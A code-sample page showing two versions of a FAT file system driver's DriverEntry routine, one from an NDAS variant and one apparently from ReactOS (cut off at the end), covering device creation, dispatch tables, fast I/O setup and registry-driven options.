	FatDebugTraceLevel |= DEBUG_INFO_PRIMARY;
	FatDebugTraceLevel |= DEBUG_INFO_CLOSE;

	DebugTrace2( 0, DEBUG_INFO_ALL, ("sizeof(NDFS_WINXP_REPLY_HEADER) = %d\n", sizeof(NDFS_WINXP_REPLY_HEADER)) );

#endif

#if __NDAS_FAT_WIN2K_SUPPORT__

	PsGetVersion( &gOsMajorVersion, &gOsMinorVersion, NULL, NULL );

	RtlInitUnicodeString( &functionName, L"SeFilterToken" );
	NdasFatSeFilterToken = MmGetSystemRoutineAddress( &functionName );

	if (IS_WINDOWSXP_OR_LATER()) {

		// to prevent incomprehensible error

		RtlInitUnicodeString( &functionName, L"CcMdlWriteAbort" ); 
		NdasFatCcMdlWriteAbort = MmGetSystemRoutineAddress( &functionName );
	}

	RtlInitUnicodeString( &functionName, L"KeAreApcsDisabled" );
	NdasFatKeAreApcsDisabled = MmGetSystemRoutineAddress( &functionName );

	RtlInitUnicodeString( &functionName, L"KeAreAllApcsDisabled" );
	NdasFatKeAreAllApcsDisabled = MmGetSystemRoutineAddress( &functionName );

	RtlInitUnicodeString( &functionName, L"FsRtlRegisterFileSystemFilterCallbacks" );
	NdasFatFsRtlRegisterFileSystemFilterCallbacks = MmGetSystemRoutineAddress( &functionName );

	RtlInitUnicodeString( &functionName, L"FsRtlAreVolumeStartupApplicationsComplete" );
	NdasFatFsRtlAreVolumeStartupApplicationsComplete = MmGetSystemRoutineAddress( &functionName );
	
	RtlInitUnicodeString( &functionName, L"MmDoesFileHaveUserWritableReferences" );
	NdasFatMmDoesFileHaveUserWritableReferences = MmGetSystemRoutineAddress( &functionName );

#endif

#if __NDAS_FAT__
	
    RtlInitUnicodeString( &UnicodeString, NDAS_FAT_CONTROL_DEVICE_NAME );

    Status = IoCreateDevice( DriverObject,
                             0,                 //  has no device extension
                             &UnicodeString,
                             FILE_DEVICE_NULL,
                             0,
                             FALSE,
                             &FatControlDeviceObject );

	if (!NT_SUCCESS(Status)) {

		return Status;
	}

    RtlInitUnicodeString( &linkString, NDAS_FAT_CONTROL_LINK_NAME );
    Status = IoCreateSymbolicLink( &linkString, &UnicodeString );

    if (!NT_SUCCESS(Status)) {
		
        IoDeleteDevice( FatControlDeviceObject );
	    return Status;
    }

#endif

#if __NDAS_FAT__

    RtlInitUnicodeString( &UnicodeString, NDAS_FAT_DEVICE_NAME );

    Status = IoCreateDevice( DriverObject,
                             sizeof(VOLUME_DEVICE_OBJECT) - sizeof(DEVICE_OBJECT),
                             &UnicodeString,
                             FILE_DEVICE_DISK_FILE_SYSTEM,
                             0,
                             FALSE,
                             &FatDiskFileSystemDeviceObject );

	if (!NT_SUCCESS(Status)) {
		
        IoDeleteSymbolicLink( &linkString );
        IoDeleteDevice( FatControlDeviceObject );
	    return Status;
    }

	RtlZeroMemory( (PUCHAR)FatDiskFileSystemDeviceObject+sizeof(DEVICE_OBJECT), 
				   sizeof(VOLUME_DEVICE_OBJECT)-sizeof(DEVICE_OBJECT) );

#else

    //
    // Create the device object for disks.  To avoid problems with filters who
    // know this name, we must keep it.
    //

    RtlInitUnicodeString( &UnicodeString, L"\\Fat" );
    Status = IoCreateDevice( DriverObject,
                             0,
                             &UnicodeString,
                             FILE_DEVICE_DISK_FILE_SYSTEM,
                             0,
                             FALSE,
                             &FatDiskFileSystemDeviceObject );

    if (!NT_SUCCESS( Status )) {
        return Status;
    }

#endif

#if !__NDAS_FAT__

    //
    // Create the device object for "cdroms".
    //

    RtlInitUnicodeString( &UnicodeString, L"\\FatCdrom" );
    Status = IoCreateDevice( DriverObject,
                             0,
                             &UnicodeString,
                             FILE_DEVICE_CD_ROM_FILE_SYSTEM,
                             0,
                             FALSE,
                             &FatCdromFileSystemDeviceObject );

    if (!NT_SUCCESS( Status )) {
        IoDeleteDevice( FatDiskFileSystemDeviceObject);
        return Status;
    }

#endif

    DriverObject->DriverUnload = FatUnload;

    //
    //  Note that because of the way data caching is done, we set neither
    //  the Direct I/O or Buffered I/O bit in DeviceObject->Flags.  If
    //  data is not in the cache, or the request is not buffered, we may,
    //  set up for Direct I/O by hand.
    //

    //
    // Initialize the driver object with this driver's entry points.
    //

    DriverObject->MajorFunction[IRP_MJ_CREATE]                   = (PDRIVER_DISPATCH)FatFsdCreate;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]                    = (PDRIVER_DISPATCH)FatFsdClose;
    DriverObject->MajorFunction[IRP_MJ_READ]                     = (PDRIVER_DISPATCH)FatFsdRead;
    DriverObject->MajorFunction[IRP_MJ_WRITE]                    = (PDRIVER_DISPATCH)FatFsdWrite;
    DriverObject->MajorFunction[IRP_MJ_QUERY_INFORMATION]        = (PDRIVER_DISPATCH)FatFsdQueryInformation;
    DriverObject->MajorFunction[IRP_MJ_SET_INFORMATION]          = (PDRIVER_DISPATCH)FatFsdSetInformation;
    DriverObject->MajorFunction[IRP_MJ_QUERY_EA]                 = (PDRIVER_DISPATCH)FatFsdQueryEa;
    DriverObject->MajorFunction[IRP_MJ_SET_EA]                   = (PDRIVER_DISPATCH)FatFsdSetEa;
    DriverObject->MajorFunction[IRP_MJ_FLUSH_BUFFERS]            = (PDRIVER_DISPATCH)FatFsdFlushBuffers;
    DriverObject->MajorFunction[IRP_MJ_QUERY_VOLUME_INFORMATION] = (PDRIVER_DISPATCH)FatFsdQueryVolumeInformation;
    DriverObject->MajorFunction[IRP_MJ_SET_VOLUME_INFORMATION]   = (PDRIVER_DISPATCH)FatFsdSetVolumeInformation;
    DriverObject->MajorFunction[IRP_MJ_CLEANUP]                  = (PDRIVER_DISPATCH)FatFsdCleanup;
    DriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL]        = (PDRIVER_DISPATCH)FatFsdDirectoryControl;
    DriverObject->MajorFunction[IRP_MJ_FILE_SYSTEM_CONTROL]      = (PDRIVER_DISPATCH)FatFsdFileSystemControl;
    DriverObject->MajorFunction[IRP_MJ_LOCK_CONTROL]             = (PDRIVER_DISPATCH)FatFsdLockControl;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]           = (PDRIVER_DISPATCH)FatFsdDeviceControl;
    DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]                 = (PDRIVER_DISPATCH)FatFsdShutdown;
    DriverObject->MajorFunction[IRP_MJ_PNP]                      = (PDRIVER_DISPATCH)FatFsdPnp;

    DriverObject->FastIoDispatch = &FatFastIoDispatch;

    RtlZeroMemory(&FatFastIoDispatch, sizeof(FatFastIoDispatch));

    FatFastIoDispatch.SizeOfFastIoDispatch =    sizeof(FAST_IO_DISPATCH);
    FatFastIoDispatch.FastIoCheckIfPossible =   FatFastIoCheckIfPossible;  //  CheckForFastIo
    FatFastIoDispatch.FastIoRead =              FsRtlCopyRead;             //  Read
    FatFastIoDispatch.FastIoWrite =             FsRtlCopyWrite;            //  Write
    FatFastIoDispatch.FastIoQueryBasicInfo =    FatFastQueryBasicInfo;     //  QueryBasicInfo
    FatFastIoDispatch.FastIoQueryStandardInfo = FatFastQueryStdInfo;       //  QueryStandardInfo
    FatFastIoDispatch.FastIoLock =              FatFastLock;               //  Lock
    FatFastIoDispatch.FastIoUnlockSingle =      FatFastUnlockSingle;       //  UnlockSingle
    FatFastIoDispatch.FastIoUnlockAll =         FatFastUnlockAll;          //  UnlockAll
    FatFastIoDispatch.FastIoUnlockAllByKey =    FatFastUnlockAllByKey;     //  UnlockAllByKey
    FatFastIoDispatch.FastIoQueryNetworkOpenInfo = FatFastQueryNetworkOpenInfo;
    FatFastIoDispatch.AcquireForCcFlush =       FatAcquireForCcFlush;
    FatFastIoDispatch.ReleaseForCcFlush =       FatReleaseForCcFlush;
    FatFastIoDispatch.MdlRead =                 FsRtlMdlReadDev;
    FatFastIoDispatch.MdlReadComplete =         FsRtlMdlReadCompleteDev;
    FatFastIoDispatch.PrepareMdlWrite =         FsRtlPrepareMdlWriteDev;
    FatFastIoDispatch.MdlWriteComplete =        FsRtlMdlWriteCompleteDev;
    
#if __NDAS_FAT_SECONDARY__

	RtlZeroMemory(&FatFastIoDispatch, sizeof(FAST_IO_DISPATCH));
	FatFastIoDispatch.SizeOfFastIoDispatch			 =	sizeof(FAST_IO_DISPATCH);

	//FatFastIoDispatch.FastIoCheckIfPossible			=  FatFastIoCheckIfPossible;  //  CheckForFastIo
	//FatFastIoDispatch.AcquireForModWrite				=  FatAcquireFileForModWrite;
	//FatFastIoDispatch.AcquireFileForNtCreateSection	=  FatAcquireForCreateSection;
	//FatFastIoDispatch.ReleaseFileForNtCreateSection	=  FatReleaseForCreateSection;

	FatFastIoDispatch.AcquireForCcFlush				=  FatAcquireForCcFlush;
	FatFastIoDispatch.ReleaseForCcFlush				=  FatReleaseForCcFlush;

#endif

    //
    //  Initialize the filter callbacks we use.
    //

#if __NDAS_FAT_WIN2K_SUPPORT__

	if (IS_WINDOWSVISTA_OR_LATER()) {

		if (NdasFatFsRtlRegisterFileSystemFilterCallbacks) {

			RtlZeroMemory( &FilterCallbacks, sizeof(FS_FILTER_CALLBACKS) );

			FilterCallbacks.SizeOfFsFilterCallbacks = sizeof(FS_FILTER_CALLBACKS);

			FilterCallbacks.PreAcquireForSectionSynchronization = FatFilterCallbackAcquireForCreateSection;

			Status = NdasFatFsRtlRegisterFileSystemFilterCallbacks( DriverObject, &FilterCallbacks );

		    if (!NT_SUCCESS( Status )) {

			    IoDeleteDevice( FatDiskFileSystemDeviceObject );
				IoDeleteDevice( FatCdromFileSystemDeviceObject );
				return Status;
			}
		}
	}

#else

    RtlZeroMemory( &FilterCallbacks,
                   sizeof(FS_FILTER_CALLBACKS) );

    FilterCallbacks.SizeOfFsFilterCallbacks = sizeof(FS_FILTER_CALLBACKS);
    FilterCallbacks.PreAcquireForSectionSynchronization = FatFilterCallbackAcquireForCreateSection;

    Status = FsRtlRegisterFileSystemFilterCallbacks( DriverObject,
                                                     &FilterCallbacks );

    if (!NT_SUCCESS( Status )) {

        IoDeleteDevice( FatDiskFileSystemDeviceObject );
        IoDeleteDevice( FatCdromFileSystemDeviceObject );
        return Status;
    }

#endif

    //
    //  Initialize the global data structures
    //

    //
    //  The FatData record
    //

    RtlZeroMemory( &FatData, sizeof(FAT_DATA));

    FatData.NodeTypeCode = FAT_NTC_DATA_HEADER;
    FatData.NodeByteSize = sizeof(FAT_DATA);

    InitializeListHead(&FatData.VcbQueue);

    FatData.DriverObject = DriverObject;
    FatData.DiskFileSystemDeviceObject = FatDiskFileSystemDeviceObject;
    FatData.CdromFileSystemDeviceObject = FatCdromFileSystemDeviceObject;

    //
    //  This list head keeps track of closes yet to be done.
    //

    InitializeListHead( &FatData.AsyncCloseList );
    InitializeListHead( &FatData.DelayedCloseList );
    
    FatData.FatCloseItem = IoAllocateWorkItem( FatDiskFileSystemDeviceObject);

    if (FatData.FatCloseItem == NULL) {
        IoDeleteDevice (FatDiskFileSystemDeviceObject);

#if __NDAS_FAT__
		if (FatCdromFileSystemDeviceObject)
#endif
        IoDeleteDevice (FatCdromFileSystemDeviceObject);
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    //
    //  Now initialize our general purpose spinlock (gag) and figure out how
    //  deep and wide we want our delayed lists (along with fooling ourselves
    //  about the lookaside depths).
    //

    KeInitializeSpinLock( &FatData.GeneralSpinLock );

    switch ( MmQuerySystemSize() ) {

    case MmSmallSystem:

        MaxDepth = 4;
        FatMaxDelayedCloseCount = FAT_MAX_DELAYED_CLOSES;
        break;

    case MmMediumSystem:

        MaxDepth = 8;
        FatMaxDelayedCloseCount = 4 * FAT_MAX_DELAYED_CLOSES;
        break;

    case MmLargeSystem:

        MaxDepth = 16;
        FatMaxDelayedCloseCount = 16 * FAT_MAX_DELAYED_CLOSES;
        break;
    }


    //
    //  Initialize the cache manager callback routines
    //

    FatData.CacheManagerCallbacks.AcquireForLazyWrite  = &FatAcquireFcbForLazyWrite;
    FatData.CacheManagerCallbacks.ReleaseFromLazyWrite = &FatReleaseFcbFromLazyWrite;
    FatData.CacheManagerCallbacks.AcquireForReadAhead  = &FatAcquireFcbForReadAhead;
    FatData.CacheManagerCallbacks.ReleaseFromReadAhead = &FatReleaseFcbFromReadAhead;

    FatData.CacheManagerNoOpCallbacks.AcquireForLazyWrite  = &FatNoOpAcquire;
    FatData.CacheManagerNoOpCallbacks.ReleaseFromLazyWrite = &FatNoOpRelease;
    FatData.CacheManagerNoOpCallbacks.AcquireForReadAhead  = &FatNoOpAcquire;
    FatData.CacheManagerNoOpCallbacks.ReleaseFromReadAhead = &FatNoOpRelease;

    //
    //  Set up global pointer to our process.
    //

    FatData.OurProcess = PsGetCurrentProcess();

    //
    //  Read the registry to determine if we are in ChicagoMode.
    //

    ValueName.Buffer = COMPATIBILITY_MODE_VALUE_NAME;
    ValueName.Length = sizeof(COMPATIBILITY_MODE_VALUE_NAME) - sizeof(WCHAR);
    ValueName.MaximumLength = sizeof(COMPATIBILITY_MODE_VALUE_NAME);

    Status = FatGetCompatibilityModeValue( &ValueName, &Value );

    if (NT_SUCCESS(Status) && FlagOn(Value, 1)) {

        FatData.ChicagoMode = FALSE;

    } else {

        FatData.ChicagoMode = TRUE;
    }

    //
    //  Read the registry to determine if we are going to generate LFNs
    //  for valid 8.3 names with extended characters.
    //

    ValueName.Buffer = CODE_PAGE_INVARIANCE_VALUE_NAME;
    ValueName.Length = sizeof(CODE_PAGE_INVARIANCE_VALUE_NAME) - sizeof(WCHAR);
    ValueName.MaximumLength = sizeof(CODE_PAGE_INVARIANCE_VALUE_NAME);

    Status = FatGetCompatibilityModeValue( &ValueName, &Value );

    if (NT_SUCCESS(Status) && FlagOn(Value, 1)) {

        FatData.CodePageInvariant = FALSE;

    } else {

        FatData.CodePageInvariant = TRUE;
    }

    //
    //  Initialize our global resource and fire up the lookaside lists.
    //

    ExInitializeResourceLite( &FatData.Resource );

    ExInitializeNPagedLookasideList( &FatIrpContextLookasideList,
                                     NULL,
                                     NULL,
                                     POOL_RAISE_IF_ALLOCATION_FAILURE,
                                     sizeof(IRP_CONTEXT),
                                     TAG_IRP_CONTEXT,
                                     MaxDepth );

    ExInitializeNPagedLookasideList( &FatNonPagedFcbLookasideList,
                                     NULL,
                                     NULL,
                                     POOL_RAISE_IF_ALLOCATION_FAILURE,
                                     sizeof(NON_PAGED_FCB),
                                     TAG_FCB_NONPAGED,
                                     MaxDepth );

    ExInitializeNPagedLookasideList( &FatEResourceLookasideList,
                                     NULL,
                                     NULL,
                                     POOL_RAISE_IF_ALLOCATION_FAILURE,
                                     sizeof(ERESOURCE),
                                     TAG_ERESOURCE,
                                     MaxDepth );

    ExInitializeSListHead( &FatCloseContextSList );
    ExInitializeFastMutex( &FatCloseQueueMutex );
    KeInitializeEvent( &FatReserveEvent, SynchronizationEvent, TRUE );

    //
    //  Register the file system with the I/O system
    //

    IoRegisterFileSystem(FatDiskFileSystemDeviceObject);
    ObReferenceObject (FatDiskFileSystemDeviceObject);
#if __NDAS_FAT__
	if (FatCdromFileSystemDeviceObject) {

		IoRegisterFileSystem(FatCdromFileSystemDeviceObject);
		ObReferenceObject (FatCdromFileSystemDeviceObject);
	}
#else
    IoRegisterFileSystem(FatCdromFileSystemDeviceObject);
    ObReferenceObject (FatCdromFileSystemDeviceObject);
#endif

#if __NDAS_FAT__

	FatData.FileSystemRegistered = TRUE;

	RtlInitEmptyUnicodeString( &FatData.Root, 
							   FatData.RootBuffer,
							   sizeof(FatData.RootBuffer) );

	RtlInitUnicodeString( &tempUnicode, L"\\" );
	RtlCopyUnicodeString( &FatData.Root, &tempUnicode );

	RtlInitEmptyUnicodeString( &FatData.MountMgrRemoteDatabase, 
							   FatData.MountMgrRemoteDatabaseBuffer,
							   sizeof(FatData.MountMgrRemoteDatabaseBuffer) );

	RtlInitUnicodeString( &tempUnicode, L"\\:$MountMgrRemoteDatabase" );
	RtlCopyUnicodeString( &FatData.MountMgrRemoteDatabase, &tempUnicode );

	RtlInitEmptyUnicodeString( &FatData.ExtendReparse, 
							   FatData.ExtendReparseBuffer,
							   sizeof(FatData.ExtendReparseBuffer) );

	RtlInitUnicodeString( &tempUnicode, L"\\$Extend\\$Reparse:$R:$INDEX_ALLOCATION" );
	RtlCopyUnicodeString( &FatData.ExtendReparse, &tempUnicode );

	RtlInitEmptyUnicodeString( &FatData.MountPointManagerRemoteDatabase, 
							   FatData.MountPointManagerRemoteDatabaseBuffer,
							   sizeof(FatData.MountPointManagerRemoteDatabaseBuffer) );

	RtlInitUnicodeString( &tempUnicode, L"\\System Volume Information\\MountPointManagerRemoteDatabase" );
	RtlCopyUnicodeString( &FatData.MountPointManagerRemoteDatabase, &tempUnicode );

#endif

    //
    //  Find out if we are running an a FujitsuFMR machine.
    //

    FatData.FujitsuFMR = FatIsFujitsuFMR();

#if __NDAS_FAT__

    //
    //  Check to see if new kernel is present to decide if we want
    //  to support advance fcb headers
    //

    RtlInitUnicodeString( &UnicodeString, L"FsRtlTeardownPerStreamContexts" );
    FatFsRtlTeardownPerStreamContexts = MmGetSystemRoutineAddress( &UnicodeString );

#endif

    //
    //  And return to our caller
    //

    return( STATUS_SUCCESS );
}
예제 #18
0
파일: fatinit.c 프로젝트: Moteesh/reactos
NTSTATUS
NTAPI
DriverEntry(
    _In_ PDRIVER_OBJECT DriverObject,
    _In_ PUNICODE_STRING RegistryPath
    )

/*++

Routine Description:

    This is the initialization routine for the Fat file system
    device driver.  This routine creates the device object for the FileSystem
    device and performs all other driver initialization.

Arguments:

    DriverObject - Pointer to driver object created by the system.

Return Value:

    NTSTATUS - The function value is the final status from the initialization
        operation.

--*/

{
    USHORT MaxDepth;
    NTSTATUS Status;
    UNICODE_STRING UnicodeString;
    FS_FILTER_CALLBACKS FilterCallbacks;
    UNICODE_STRING ValueName;
    ULONG Value;

    UNREFERENCED_PARAMETER( RegistryPath );

    //
    // Create the device object for disks.  To avoid problems with filters who
    // know this name, we must keep it.
    //

    RtlInitUnicodeString( &UnicodeString, L"\\Fat" );
    Status = IoCreateDevice( DriverObject,
                             0,
                             &UnicodeString,
                             FILE_DEVICE_DISK_FILE_SYSTEM,
                             0,
                             FALSE,
                             &FatDiskFileSystemDeviceObject );

    if (!NT_SUCCESS( Status )) {
        return Status;
    }

    //
    // Create the device object for "cdroms".
    //

    RtlInitUnicodeString( &UnicodeString, L"\\FatCdrom" );
    Status = IoCreateDevice( DriverObject,
                             0,
                             &UnicodeString,
                             FILE_DEVICE_CD_ROM_FILE_SYSTEM,
                             0,
                             FALSE,
                             &FatCdromFileSystemDeviceObject );

    if (!NT_SUCCESS( Status )) {
        IoDeleteDevice( FatDiskFileSystemDeviceObject);
        return Status;
    }

#ifdef _MSC_VER
#pragma prefast( push )
#pragma prefast( disable:28155, "these are all correct" )
#pragma prefast( disable:28169, "these are all correct" )
#pragma prefast( disable:28175, "this is a filesystem, touching FastIoDispatch is allowed" )
#endif

    DriverObject->DriverUnload = FatUnload;

    //
    //  Note that because of the way data caching is done, we set neither
    //  the Direct I/O or Buffered I/O bit in DeviceObject->Flags.  If
    //  data is not in the cache, or the request is not buffered, we may,
    //  set up for Direct I/O by hand.
    //

    //
    // Initialize the driver object with this driver's entry points.
    //

    DriverObject->MajorFunction[IRP_MJ_CREATE]                   = (PDRIVER_DISPATCH)FatFsdCreate;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]                    = (PDRIVER_DISPATCH)FatFsdClose;
    DriverObject->MajorFunction[IRP_MJ_READ]                     = (PDRIVER_DISPATCH)FatFsdRead;
    DriverObject->MajorFunction[IRP_MJ_WRITE]                    = (PDRIVER_DISPATCH)FatFsdWrite;
    DriverObject->MajorFunction[IRP_MJ_QUERY_INFORMATION]        = (PDRIVER_DISPATCH)FatFsdQueryInformation;
    DriverObject->MajorFunction[IRP_MJ_SET_INFORMATION]          = (PDRIVER_DISPATCH)FatFsdSetInformation;
    DriverObject->MajorFunction[IRP_MJ_QUERY_EA]                 = (PDRIVER_DISPATCH)FatFsdQueryEa;
    DriverObject->MajorFunction[IRP_MJ_SET_EA]                   = (PDRIVER_DISPATCH)FatFsdSetEa;
    DriverObject->MajorFunction[IRP_MJ_FLUSH_BUFFERS]            = (PDRIVER_DISPATCH)FatFsdFlushBuffers;
    DriverObject->MajorFunction[IRP_MJ_QUERY_VOLUME_INFORMATION] = (PDRIVER_DISPATCH)FatFsdQueryVolumeInformation;
    DriverObject->MajorFunction[IRP_MJ_SET_VOLUME_INFORMATION]   = (PDRIVER_DISPATCH)FatFsdSetVolumeInformation;
    DriverObject->MajorFunction[IRP_MJ_CLEANUP]                  = (PDRIVER_DISPATCH)FatFsdCleanup;
    DriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL]        = (PDRIVER_DISPATCH)FatFsdDirectoryControl;
    DriverObject->MajorFunction[IRP_MJ_FILE_SYSTEM_CONTROL]      = (PDRIVER_DISPATCH)FatFsdFileSystemControl;
    DriverObject->MajorFunction[IRP_MJ_LOCK_CONTROL]             = (PDRIVER_DISPATCH)FatFsdLockControl;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]           = (PDRIVER_DISPATCH)FatFsdDeviceControl;
    DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]                 = (PDRIVER_DISPATCH)FatFsdShutdown;
    DriverObject->MajorFunction[IRP_MJ_PNP]                      = (PDRIVER_DISPATCH)FatFsdPnp;

    DriverObject->FastIoDispatch = &FatFastIoDispatch;

    RtlZeroMemory(&FatFastIoDispatch, sizeof(FatFastIoDispatch));

    FatFastIoDispatch.SizeOfFastIoDispatch =    sizeof(FAST_IO_DISPATCH);
    FatFastIoDispatch.FastIoCheckIfPossible =   FatFastIoCheckIfPossible;  //  CheckForFastIo
    FatFastIoDispatch.FastIoRead =              FsRtlCopyRead;             //  Read
    FatFastIoDispatch.FastIoWrite =             FsRtlCopyWrite;            //  Write
    FatFastIoDispatch.FastIoQueryBasicInfo =    FatFastQueryBasicInfo;     //  QueryBasicInfo
    FatFastIoDispatch.FastIoQueryStandardInfo = FatFastQueryStdInfo;       //  QueryStandardInfo
    FatFastIoDispatch.FastIoLock =              FatFastLock;               //  Lock
    FatFastIoDispatch.FastIoUnlockSingle =      FatFastUnlockSingle;       //  UnlockSingle
    FatFastIoDispatch.FastIoUnlockAll =         FatFastUnlockAll;          //  UnlockAll
    FatFastIoDispatch.FastIoUnlockAllByKey =    FatFastUnlockAllByKey;     //  UnlockAllByKey
    FatFastIoDispatch.FastIoQueryNetworkOpenInfo = FatFastQueryNetworkOpenInfo;
    FatFastIoDispatch.AcquireForCcFlush =       FatAcquireForCcFlush;
    FatFastIoDispatch.ReleaseForCcFlush =       FatReleaseForCcFlush;
    FatFastIoDispatch.MdlRead =                 FsRtlMdlReadDev;
    FatFastIoDispatch.MdlReadComplete =         FsRtlMdlReadCompleteDev;
    FatFastIoDispatch.PrepareMdlWrite =         FsRtlPrepareMdlWriteDev;
    FatFastIoDispatch.MdlWriteComplete =        FsRtlMdlWriteCompleteDev;

#ifdef _MSC_VER
#pragma prefast( pop )
#endif
    
    //
    //  Initialize the filter callbacks we use.
    //

    RtlZeroMemory( &FilterCallbacks,
                   sizeof(FS_FILTER_CALLBACKS) );

    FilterCallbacks.SizeOfFsFilterCallbacks = sizeof(FS_FILTER_CALLBACKS);
    FilterCallbacks.PreAcquireForSectionSynchronization = FatFilterCallbackAcquireForCreateSection;

    Status = FsRtlRegisterFileSystemFilterCallbacks( DriverObject,
                                                     &FilterCallbacks );

    if (!NT_SUCCESS( Status )) {

        IoDeleteDevice( FatDiskFileSystemDeviceObject );
        IoDeleteDevice( FatCdromFileSystemDeviceObject );
        return Status;
    }

    //
    //  Initialize the global data structures
    //

    //
    //  The FatData record
    //

    RtlZeroMemory( &FatData, sizeof(FAT_DATA));

    FatData.NodeTypeCode = FAT_NTC_DATA_HEADER;
    FatData.NodeByteSize = sizeof(FAT_DATA);

    InitializeListHead(&FatData.VcbQueue);

    FatData.DriverObject = DriverObject;
    FatData.DiskFileSystemDeviceObject = FatDiskFileSystemDeviceObject;
    FatData.CdromFileSystemDeviceObject = FatCdromFileSystemDeviceObject;

    //
    //  This list head keeps track of closes yet to be done.
    //

    InitializeListHead( &FatData.AsyncCloseList );
    InitializeListHead( &FatData.DelayedCloseList );
    
    FatData.FatCloseItem = IoAllocateWorkItem( FatDiskFileSystemDeviceObject);

    if (FatData.FatCloseItem == NULL) {
        IoDeleteDevice (FatDiskFileSystemDeviceObject);
        IoDeleteDevice (FatCdromFileSystemDeviceObject);
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    //
    //  Allocate the zero page
    //

#ifndef __REACTOS__
    FatData.ZeroPage = ExAllocatePoolWithTag( NonPagedPoolNx, PAGE_SIZE, 'ZtaF' );
#else
    FatData.ZeroPage = ExAllocatePoolWithTag( NonPagedPool, PAGE_SIZE, 'ZtaF' );
#endif
    if (FatData.ZeroPage == NULL) {
        IoDeleteDevice (FatDiskFileSystemDeviceObject);
        IoDeleteDevice (FatCdromFileSystemDeviceObject);        
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    RtlZeroMemory( FatData.ZeroPage, PAGE_SIZE );


    //
    //  Now initialize our general purpose spinlock (gag) and figure out how
    //  deep and wide we want our delayed lists (along with fooling ourselves
    //  about the lookaside depths).
    //

    KeInitializeSpinLock( &FatData.GeneralSpinLock );

    switch ( MmQuerySystemSize() ) {

    case MmSmallSystem:

        MaxDepth = 4;
        FatMaxDelayedCloseCount = FAT_MAX_DELAYED_CLOSES;
        break;

    case MmMediumSystem:

        MaxDepth = 8;
        FatMaxDelayedCloseCount = 4 * FAT_MAX_DELAYED_CLOSES;
        break;

    case MmLargeSystem:
    default:
        
        MaxDepth = 16;
        FatMaxDelayedCloseCount = 16 * FAT_MAX_DELAYED_CLOSES;
        break;
    }


    //
    //  Initialize the cache manager callback routines
    //

    FatData.CacheManagerCallbacks.AcquireForLazyWrite  = &FatAcquireFcbForLazyWrite;
    FatData.CacheManagerCallbacks.ReleaseFromLazyWrite = &FatReleaseFcbFromLazyWrite;
    FatData.CacheManagerCallbacks.AcquireForReadAhead  = &FatAcquireFcbForReadAhead;
    FatData.CacheManagerCallbacks.ReleaseFromReadAhead = &FatReleaseFcbFromReadAhead;

    FatData.CacheManagerNoOpCallbacks.AcquireForLazyWrite  = &FatNoOpAcquire;
    FatData.CacheManagerNoOpCallbacks.ReleaseFromLazyWrite = &FatNoOpRelease;
    FatData.CacheManagerNoOpCallbacks.AcquireForReadAhead  = &FatNoOpAcquire;
    FatData.CacheManagerNoOpCallbacks.ReleaseFromReadAhead = &FatNoOpRelease;

    //
    //  Set up global pointer to our process.
    //

    FatData.OurProcess = PsGetCurrentProcess();

    // 
    //  Setup the number of processors we support for statistics as the current number 
    //  running.
    //

#if (NTDDI_VERSION >= NTDDI_VISTA)
    FatData.NumberProcessors = KeQueryActiveProcessorCount( NULL );
#else
    FatData.NumberProcessors = KeNumberProcessors;
#endif


    //
    //  Read the registry to determine if we are in ChicagoMode.
    //

    ValueName.Buffer = COMPATIBILITY_MODE_VALUE_NAME;
    ValueName.Length = sizeof(COMPATIBILITY_MODE_VALUE_NAME) - sizeof(WCHAR);
    ValueName.MaximumLength = sizeof(COMPATIBILITY_MODE_VALUE_NAME);

    Status = FatGetCompatibilityModeValue( &ValueName, &Value );

    if (NT_SUCCESS(Status) && FlagOn(Value, 1)) {

        FatData.ChicagoMode = FALSE;

    } else {

        FatData.ChicagoMode = TRUE;
    }

    //
    //  Read the registry to determine if we are going to generate LFNs
    //  for valid 8.3 names with extended characters.
    //

    ValueName.Buffer = CODE_PAGE_INVARIANCE_VALUE_NAME;
    ValueName.Length = sizeof(CODE_PAGE_INVARIANCE_VALUE_NAME) - sizeof(WCHAR);
    ValueName.MaximumLength = sizeof(CODE_PAGE_INVARIANCE_VALUE_NAME);

    Status = FatGetCompatibilityModeValue( &ValueName, &Value );

    if (NT_SUCCESS(Status) && FlagOn(Value, 1)) {

        FatData.CodePageInvariant = FALSE;

    } else {

        FatData.CodePageInvariant = TRUE;
    }

    //
    //  Initialize our global resource and fire up the lookaside lists.
    //

    ExInitializeResourceLite( &FatData.Resource );

    ExInitializeNPagedLookasideList( &FatIrpContextLookasideList,
                                     NULL,
                                     NULL,
#ifndef __REACTOS__
                                     POOL_NX_ALLOCATION | POOL_RAISE_IF_ALLOCATION_FAILURE,
#else
                                     POOL_RAISE_IF_ALLOCATION_FAILURE,
#endif
                                     sizeof(IRP_CONTEXT),
                                     TAG_IRP_CONTEXT,
                                     MaxDepth );

    ExInitializeNPagedLookasideList( &FatNonPagedFcbLookasideList,
                                     NULL,
                                     NULL,
#ifndef __REACTOS__
                                     POOL_NX_ALLOCATION | POOL_RAISE_IF_ALLOCATION_FAILURE,
#else
                                     POOL_RAISE_IF_ALLOCATION_FAILURE,
#endif
                                     sizeof(NON_PAGED_FCB),
                                     TAG_FCB_NONPAGED,
                                     MaxDepth );

    ExInitializeNPagedLookasideList( &FatEResourceLookasideList,
                                     NULL,
                                     NULL,
#ifndef __REACTOS__
                                     POOL_NX_ALLOCATION | POOL_RAISE_IF_ALLOCATION_FAILURE,
#else
                                     POOL_RAISE_IF_ALLOCATION_FAILURE,
#endif
                                     sizeof(ERESOURCE),
                                     TAG_ERESOURCE,
                                     MaxDepth );

    ExInitializeSListHead( &FatCloseContextSList );
    ExInitializeFastMutex( &FatCloseQueueMutex );
    KeInitializeEvent( &FatReserveEvent, SynchronizationEvent, TRUE );

    //
    //  Register the file system with the I/O system
    //

    IoRegisterFileSystem(FatDiskFileSystemDeviceObject);
    ObReferenceObject (FatDiskFileSystemDeviceObject);
    IoRegisterFileSystem(FatCdromFileSystemDeviceObject);
    ObReferenceObject (FatCdromFileSystemDeviceObject);

    //
